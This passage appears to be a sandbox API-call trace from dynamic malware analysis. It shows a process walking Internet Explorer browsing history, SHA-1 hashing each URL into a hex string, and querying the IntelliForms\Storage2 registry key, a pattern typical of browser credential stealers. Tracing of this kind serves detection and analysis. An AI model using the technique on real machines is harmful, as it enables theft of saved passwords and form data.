returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4" [0097.755] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4", lpString2="57" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F457") returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F457" [0097.755] LocalFree (hMem=0x28e7670) returned 0x0 [0097.755] CryptDestroyHash (hHash=0x7203760) returned 1 [0097.755] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.755] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.755] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.755] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.755] LocalFree (hMem=0x28e7910) returned 0x0 [0097.755] CoTaskMemFree (pv=0x7183070) [0097.756] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.756] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/8ZpG.pdf", lpSrch="?") returned 0x0 [0097.756] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.756] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.756] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/8ZpG.pdf") returned 44 [0097.756] CryptHashData (hHash=0x7203060, pbData=0x7202ce0, dwDataLen=0x5a, dwFlags=0x0) returned 1 [0097.756] CryptGetHashParam (in: hHash=0x7203060, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.756] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0097.756] lstrlenW (lpString="") returned 0 [0097.756] lstrlenW (lpString="3A") returned 2 [0097.756] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7183070 [0097.756] lstrcpyW (in: lpString1=0x7183070, lpString2="" | out: lpString1="") returned="" [0097.757] lstrcatW (in: lpString1="", lpString2="3A" | out: lpString1="3A") returned="3A" [0097.757] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E3") returned 2 [0097.757] lstrlenW (lpString="3A") returned 2 [0097.757] lstrlenW (lpString="E3") returned 2 [0097.757] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7720 [0097.757] lstrcpyW (in: lpString1=0x28c7720, lpString2="3A" | out: lpString1="3A") returned="3A" [0097.757] lstrcatW (in: lpString1="3A", lpString2="E3" | out: lpString1="3AE3") returned="3AE3" [0097.757] LocalFree (hMem=0x7183070) returned 0x0 [0097.757] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="05") returned 2 [0097.757] lstrlenW (lpString="3AE3") returned 4 [0097.757] lstrlenW (lpString="05") returned 2 [0097.757] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7680 [0097.757] lstrcpyW (in: lpString1=0x28c7680, lpString2="3AE3" | out: lpString1="3AE3") returned="3AE3" [0097.757] lstrcatW (in: lpString1="3AE3", lpString2="05" | out: lpString1="3AE305") returned="3AE305" [0097.757] LocalFree (hMem=0x28c7720) returned 0x0 [0097.757] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.757] lstrlenW (lpString="3AE305") returned 6 [0097.757] lstrlenW (lpString="90") returned 2 [0097.757] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7720 [0097.757] lstrcpyW (in: lpString1=0x28c7720, lpString2="3AE305" | out: lpString1="3AE305") returned="3AE305" [0097.757] lstrcatW (in: lpString1="3AE305", lpString2="90" | out: lpString1="3AE30590") returned="3AE30590" [0097.757] LocalFree (hMem=0x28c7680) returned 0x0 [0097.757] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.757] lstrlenW (lpString="3AE30590") returned 8 [0097.757] lstrlenW (lpString="A2") returned 2 [0097.757] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7680 [0097.757] lstrcpyW (in: lpString1=0x28c7680, lpString2="3AE30590" | out: lpString1="3AE30590") returned="3AE30590" [0097.757] lstrcatW (in: lpString1="3AE30590", lpString2="A2" | out: lpString1="3AE30590A2") returned="3AE30590A2" [0097.757] LocalFree (hMem=0x28c7720) returned 0x0 [0097.757] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="23") returned 2 [0097.757] lstrlenW (lpString="3AE30590A2") returned 10 [0097.757] lstrlenW (lpString="23") returned 2 [0097.757] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71ceee0 [0097.757] lstrcpyW (in: lpString1=0x71ceee0, lpString2="3AE30590A2" | out: lpString1="3AE30590A2") returned="3AE30590A2" [0097.757] lstrcatW (in: lpString1="3AE30590A2", lpString2="23" | out: lpString1="3AE30590A223") returned="3AE30590A223" [0097.757] LocalFree (hMem=0x28c7680) returned 0x0 [0097.757] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.758] lstrlenW (lpString="3AE30590A223") returned 12 [0097.758] lstrlenW (lpString="28") returned 2 [0097.758] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.758] lstrcpyW (in: lpString1=0x71d0010, lpString2="3AE30590A223" | out: lpString1="3AE30590A223") returned="3AE30590A223" [0097.758] lstrcatW (in: lpString1="3AE30590A223", lpString2="28" | out: lpString1="3AE30590A22328") returned="3AE30590A22328" [0097.758] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.758] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0097.758] lstrlenW (lpString="3AE30590A22328") returned 14 [0097.758] lstrlenW (lpString="6C") returned 2 [0097.758] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71ceee0 [0097.758] lstrcpyW (in: lpString1=0x71ceee0, lpString2="3AE30590A22328" | out: lpString1="3AE30590A22328") returned="3AE30590A22328" [0097.758] lstrcatW (in: lpString1="3AE30590A22328", lpString2="6C" | out: lpString1="3AE30590A223286C") returned="3AE30590A223286C" [0097.758] LocalFree (hMem=0x71d0010) returned 0x0 [0097.758] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6F") returned 2 [0097.758] lstrlenW (lpString="3AE30590A223286C") returned 16 [0097.758] lstrlenW (lpString="6F") returned 2 [0097.758] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.758] lstrcpyW (in: lpString1=0x71d0010, lpString2="3AE30590A223286C" | out: lpString1="3AE30590A223286C") returned="3AE30590A223286C" [0097.758] lstrcatW (in: lpString1="3AE30590A223286C", lpString2="6F" | out: lpString1="3AE30590A223286C6F") returned="3AE30590A223286C6F" [0097.758] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.758] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.758] lstrlenW (lpString="3AE30590A223286C6F") returned 18 [0097.758] lstrlenW (lpString="0C") returned 2 [0097.758] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.758] lstrcpyW (in: lpString1=0x7290b70, lpString2="3AE30590A223286C6F" | out: lpString1="3AE30590A223286C6F") returned="3AE30590A223286C6F" [0097.758] lstrcatW (in: lpString1="3AE30590A223286C6F", lpString2="0C" | out: lpString1="3AE30590A223286C6F0C") returned="3AE30590A223286C6F0C" [0097.758] LocalFree (hMem=0x71d0010) returned 0x0 [0097.758] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.758] lstrlenW (lpString="3AE30590A223286C6F0C") returned 20 [0097.758] lstrlenW (lpString="54") returned 2 [0097.758] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.758] lstrcpyW (in: lpString1=0x72912f0, lpString2="3AE30590A223286C6F0C" | out: lpString1="3AE30590A223286C6F0C") returned="3AE30590A223286C6F0C" [0097.758] lstrcatW (in: lpString1="3AE30590A223286C6F0C", lpString2="54" | out: lpString1="3AE30590A223286C6F0C54") returned="3AE30590A223286C6F0C54" [0097.758] LocalFree (hMem=0x7290b70) returned 0x0 [0097.758] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0097.758] lstrlenW (lpString="3AE30590A223286C6F0C54") returned 22 [0097.758] lstrlenW (lpString="9D") returned 2 [0097.758] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.758] lstrcpyW (in: lpString1=0x7290b70, lpString2="3AE30590A223286C6F0C54" | out: lpString1="3AE30590A223286C6F0C54") returned="3AE30590A223286C6F0C54" [0097.759] lstrcatW (in: lpString1="3AE30590A223286C6F0C54", lpString2="9D" | out: lpString1="3AE30590A223286C6F0C549D") returned="3AE30590A223286C6F0C549D" [0097.759] LocalFree (hMem=0x72912f0) returned 0x0 [0097.759] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.759] lstrlenW (lpString="3AE30590A223286C6F0C549D") returned 24 [0097.759] lstrlenW (lpString="CD") returned 2 [0097.759] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.759] lstrcpyW (in: lpString1=0x72912f0, lpString2="3AE30590A223286C6F0C549D" | out: lpString1="3AE30590A223286C6F0C549D") returned="3AE30590A223286C6F0C549D" [0097.759] lstrcatW (in: lpString1="3AE30590A223286C6F0C549D", lpString2="CD" | out: lpString1="3AE30590A223286C6F0C549DCD") returned="3AE30590A223286C6F0C549DCD" [0097.759] LocalFree (hMem=0x7290b70) returned 0x0 [0097.759] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.759] lstrlenW (lpString="3AE30590A223286C6F0C549DCD") returned 26 [0097.759] lstrlenW (lpString="A2") returned 2 [0097.759] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815190 [0097.759] lstrcpyW (in: lpString1=0x2815190, lpString2="3AE30590A223286C6F0C549DCD" | out: lpString1="3AE30590A223286C6F0C549DCD") returned="3AE30590A223286C6F0C549DCD" [0097.759] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCD", lpString2="A2" | out: lpString1="3AE30590A223286C6F0C549DCDA2") returned="3AE30590A223286C6F0C549DCDA2" [0097.759] LocalFree (hMem=0x72912f0) returned 0x0 [0097.759] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B3") returned 2 [0097.759] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2") returned 28 [0097.759] lstrlenW (lpString="B3") returned 2 [0097.759] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2814970 [0097.759] lstrcpyW (in: lpString1=0x2814970, lpString2="3AE30590A223286C6F0C549DCDA2" | out: lpString1="3AE30590A223286C6F0C549DCDA2") returned="3AE30590A223286C6F0C549DCDA2" [0097.759] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2", lpString2="B3" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3") returned="3AE30590A223286C6F0C549DCDA2B3" [0097.759] LocalFree (hMem=0x2815190) returned 0x0 [0097.759] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CC") returned 2 [0097.759] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2B3") returned 30 [0097.759] lstrlenW (lpString="CC") returned 2 [0097.759] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0097.759] lstrcpyW (in: lpString1=0x2815190, lpString2="3AE30590A223286C6F0C549DCDA2B3" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3") returned="3AE30590A223286C6F0C549DCDA2B3" [0097.759] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2B3", lpString2="CC" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC") returned="3AE30590A223286C6F0C549DCDA2B3CC" [0097.759] LocalFree (hMem=0x2814970) returned 0x0 [0097.759] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="49") returned 2 [0097.759] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2B3CC") returned 32 [0097.759] lstrlenW (lpString="49") returned 2 [0097.759] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2814970 [0097.759] lstrcpyW (in: lpString1=0x2814970, lpString2="3AE30590A223286C6F0C549DCDA2B3CC" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC") returned="3AE30590A223286C6F0C549DCDA2B3CC" [0097.759] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2B3CC", lpString2="49" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC49") returned="3AE30590A223286C6F0C549DCDA2B3CC49" [0097.759] LocalFree (hMem=0x2815190) returned 0x0 [0097.759] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.759] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2B3CC49") returned 34 [0097.760] lstrlenW (lpString="2E") returned 2 [0097.760] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.760] lstrcpyW (in: lpString1=0x28e7910, lpString2="3AE30590A223286C6F0C549DCDA2B3CC49" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC49") returned="3AE30590A223286C6F0C549DCDA2B3CC49" [0097.760] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2B3CC49", lpString2="2E" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E") returned="3AE30590A223286C6F0C549DCDA2B3CC492E" [0097.760] LocalFree (hMem=0x2814970) returned 0x0 [0097.760] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.760] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2B3CC492E") returned 36 [0097.760] lstrlenW (lpString="8F") returned 2 [0097.760] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.760] lstrcpyW (in: lpString1=0x28e7670, lpString2="3AE30590A223286C6F0C549DCDA2B3CC492E" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E") returned="3AE30590A223286C6F0C549DCDA2B3CC492E" [0097.760] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E", lpString2="8F" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8F") returned="3AE30590A223286C6F0C549DCDA2B3CC492E8F" [0097.760] LocalFree (hMem=0x28e7910) returned 0x0 [0097.760] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0097.760] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2B3CC492E8F") returned 38 [0097.760] lstrlenW (lpString="AD") returned 2 [0097.760] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.760] lstrcpyW (in: lpString1=0x28e7910, lpString2="3AE30590A223286C6F0C549DCDA2B3CC492E8F" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8F") returned="3AE30590A223286C6F0C549DCDA2B3CC492E8F" [0097.760] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8F", lpString2="AD" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD") returned="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD" [0097.760] LocalFree (hMem=0x28e7670) returned 0x0 [0097.760] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="18") returned 2 [0097.760] lstrlenW (lpString="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD") returned 40 [0097.760] lstrlenW (lpString="18") returned 2 [0097.760] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.760] lstrcpyW (in: lpString1=0x28e7670, lpString2="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD") returned="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD" [0097.760] lstrcatW (in: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD", lpString2="18" | out: lpString1="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD18") returned="3AE30590A223286C6F0C549DCDA2B3CC492E8FAD18" [0097.760] LocalFree (hMem=0x28e7910) returned 0x0 [0097.760] CryptDestroyHash (hHash=0x7203060) returned 1 [0097.760] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.760] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.760] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.760] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.760] LocalFree (hMem=0x28e7670) returned 0x0 [0097.760] CoTaskMemFree (pv=0x7202ce0) [0097.761] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.761] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/AAB8Ugjwnhd.jpg", lpSrch="?") returned 0x0 [0097.761] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.761] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.761] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/AAB8Ugjwnhd.jpg") returned 49 [0097.761] CryptHashData (hHash=0x7203060, pbData=0x7202ce0, dwDataLen=0x64, dwFlags=0x0) returned 1 [0097.761] CryptGetHashParam (in: hHash=0x7203060, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.761] CryptDestroyHash (hHash=0x7203060) returned 1 [0097.761] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.761] CoTaskMemFree (pv=0x7202ce0) [0097.761] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.762] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/7M%20gE_Md.xls", lpSrch="?") returned 0x0 [0097.762] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.762] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.762] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/7M%20gE_Md.xls") returned 56 [0097.762] CryptHashData (hHash=0x7202ce0, pbData=0x71e6b20, dwDataLen=0x72, dwFlags=0x0) returned 1 [0097.762] CryptGetHashParam (in: hHash=0x7202ce0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.762] CryptDestroyHash (hHash=0x7202ce0) returned 1 [0097.762] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.762] CoTaskMemFree (pv=0x71e6b20) [0097.762] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.762] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/am7J3-.ods", lpSrch="?") returned 0x0 [0097.762] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.763] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.763] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/am7J3-.ods") returned 60 [0097.763] CryptHashData (hHash=0x7203a00, pbData=0x7182f50, dwDataLen=0x7a, dwFlags=0x0) returned 1 [0097.763] CryptGetHashParam (in: hHash=0x7203a00, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.763] CryptDestroyHash (hHash=0x7203a00) returned 1 [0097.763] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.763] CoTaskMemFree (pv=0x7182f50) [0097.763] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.763] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/8JEmUFi9Mlw.flv", lpSrch="?") returned 0x0 [0097.763] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.764] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.764] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/8JEmUFi9Mlw.flv") returned 48 [0097.764] CryptHashData (hHash=0x7203290, pbData=0x7203060, dwDataLen=0x62, dwFlags=0x0) returned 1 [0097.764] CryptGetHashParam (in: hHash=0x7203290, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.764] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AB") returned 2 [0097.764] lstrlenW (lpString="") returned 0 [0097.764] lstrlenW (lpString="AB") returned 2 [0097.764] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182f50 [0097.764] lstrcpyW (in: lpString1=0x7182f50, lpString2="" | out: lpString1="") returned="" [0097.764] lstrcatW (in: lpString1="", lpString2="AB" | out: lpString1="AB") returned="AB" [0097.764] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FF") returned 2 [0097.764] lstrlenW (lpString="AB") returned 2 [0097.764] lstrlenW (lpString="FF") returned 2 [0097.764] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7680 [0097.764] lstrcpyW (in: lpString1=0x28c7680, lpString2="AB" | out: lpString1="AB") returned="AB" [0097.764] lstrcatW (in: lpString1="AB", lpString2="FF" | out: lpString1="ABFF") returned="ABFF" [0097.764] LocalFree (hMem=0x7182f50) returned 0x0 [0097.764] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="24") returned 2 [0097.764] lstrlenW (lpString="ABFF") returned 4 [0097.764] lstrlenW (lpString="24") returned 2 [0097.764] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7720 [0097.764] lstrcpyW (in: lpString1=0x28c7720, lpString2="ABFF" | out: lpString1="ABFF") returned="ABFF" [0097.764] lstrcatW (in: lpString1="ABFF", lpString2="24" | out: lpString1="ABFF24") returned="ABFF24" [0097.764] LocalFree (hMem=0x28c7680) returned 0x0 [0097.764] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0097.764] lstrlenW (lpString="ABFF24") returned 6 [0097.765] lstrlenW (lpString="B7") returned 2 [0097.765] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7680 [0097.765] lstrcpyW (in: lpString1=0x28c7680, lpString2="ABFF24" | out: lpString1="ABFF24") returned="ABFF24" [0097.765] lstrcatW (in: lpString1="ABFF24", lpString2="B7" | out: lpString1="ABFF24B7") returned="ABFF24B7" [0097.765] LocalFree (hMem=0x28c7720) returned 0x0 [0097.765] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.765] lstrlenW (lpString="ABFF24B7") returned 8 [0097.765] lstrlenW (lpString="35") returned 2 [0097.765] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7720 [0097.765] lstrcpyW (in: lpString1=0x28c7720, lpString2="ABFF24B7" | out: lpString1="ABFF24B7") returned="ABFF24B7" [0097.765] lstrcatW (in: lpString1="ABFF24B7", lpString2="35" | out: lpString1="ABFF24B735") returned="ABFF24B735" [0097.765] LocalFree (hMem=0x28c7680) returned 0x0 [0097.765] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.765] lstrlenW (lpString="ABFF24B735") returned 10 [0097.765] lstrlenW (lpString="37") returned 2 [0097.765] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d0010 [0097.765] lstrcpyW (in: lpString1=0x71d0010, lpString2="ABFF24B735" | out: lpString1="ABFF24B735") returned="ABFF24B735" [0097.765] lstrcatW (in: lpString1="ABFF24B735", lpString2="37" | out: lpString1="ABFF24B73537") returned="ABFF24B73537" [0097.765] LocalFree (hMem=0x28c7720) returned 0x0 [0097.765] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0097.765] lstrlenW (lpString="ABFF24B73537") returned 12 [0097.765] lstrlenW (lpString="46") returned 2 [0097.765] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71ceee0 [0097.765] lstrcpyW (in: lpString1=0x71ceee0, lpString2="ABFF24B73537" | out: lpString1="ABFF24B73537") returned="ABFF24B73537" [0097.765] lstrcatW (in: lpString1="ABFF24B73537", lpString2="46" | out: lpString1="ABFF24B7353746") returned="ABFF24B7353746" [0097.765] LocalFree (hMem=0x71d0010) returned 0x0 [0097.765] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="56") returned 2 [0097.765] 